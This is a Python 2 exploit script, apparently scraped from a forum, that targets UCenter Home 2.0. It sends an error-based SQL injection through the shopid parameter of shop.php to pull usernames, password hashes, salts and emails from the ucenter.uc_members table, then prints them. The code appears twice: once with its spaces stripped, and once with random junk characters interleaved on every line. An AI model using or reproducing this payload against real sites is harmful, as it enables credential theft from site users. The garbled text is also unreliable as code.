#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
+ V2 v) l3 Y5 b2 `" ^
5 A& `- q& r7 a3 Y$ i$ R( j! M( L( |- k! K x# W5 f* c
#!/usr/bin/env python
0 Q1 N7 t( X" D7 {
! I: [3 T! H) m. e: W9 L2 X" Fimport sys
) H" V( z1 L' Y! [6 fimport urllib2 ' G4 k; G, |& S% f
import re + f0 G8 q5 a# H& Z3 O( q7 J
! D- Y9 t: R7 v- H8 w0 |1 R) q
def info():
( F5 i# Y& p: k5 v$ B# s! i print 'From:http://www.exploit-db.com/exploits/14997/'
, p4 r. m' s! j( T) z/ @' g T& G6 N print 'http://www.hake.cc/Web_loudong/' 4 @& n2 g- |, q4 D" Z* `7 M; e
print 'changed:qiaoy'
+ M5 ]# G, V, a c6 T" O& m! F print 'exp:'
0 s3 {$ E" h9 H# d print ' ./UCenter_Home_2.0.py site'
( C5 E9 S6 n: X4 D3 L
* F* w4 R3 K5 I5 c7 @3 ^def main():
W. i: z; ^* G if len(sys.argv) != 2:
& J7 E. ]$ V# o2 B8 M" x, X2 c( g6 a info() j: N( r8 d+ V( i5 u3 z1 _
else:
1 `: N9 ^5 L) }( Y site = sys.argv[1]
- T: U. Y2 z0 q! |! }- j- A if site[0:7] == 'http://':
L' c. ]$ [- I. m sitesite =site
J! [1 e& }7 |" M! y' [ elif site[0:8] == 'https://': 4 j8 f5 B/ d; A+ E8 u
sitesite = site / I B, ]+ u' ]$ g$ T
else:
, d g4 g/ `; y site = 'http://'+site
7 Q( p7 I2 W; y1 v; x; K6 N try:
, G! @) {3 E3 d+ P url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
6 H3 H! t- @" w: o* Y Value = urllib2.urlopen(url).read() 3 D" w+ \/ y2 f$ w
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 8 S; ~- N% R; M3 D; `3 B) v
hacked = Msg.split(':') 7 \$ P% L& h6 \, g6 {
print 'Name: '+hacked[1] * w. n# e7 O* Y& O/ v& [
print 'Passwd: '+hacked[2] 7 W0 p/ x7 B+ | O
print 'salt: '+hacked[3] 7 \# o& u& K8 D" ?7 R7 w" T
print 'email: '+hacked[4]
6 N6 x! H% M. V6 h' q2 J except:
9 ?1 w' O" o" K4 n) q print 'Sorry,I can\'t work............'
7 `( l' v# y6 E9 Q* k
8 ]+ i/ F H- \- _& p7 ]5 dif __name__ == '__main__':
# ^/ c, U! g7 B d* U) T5 R }; V main() |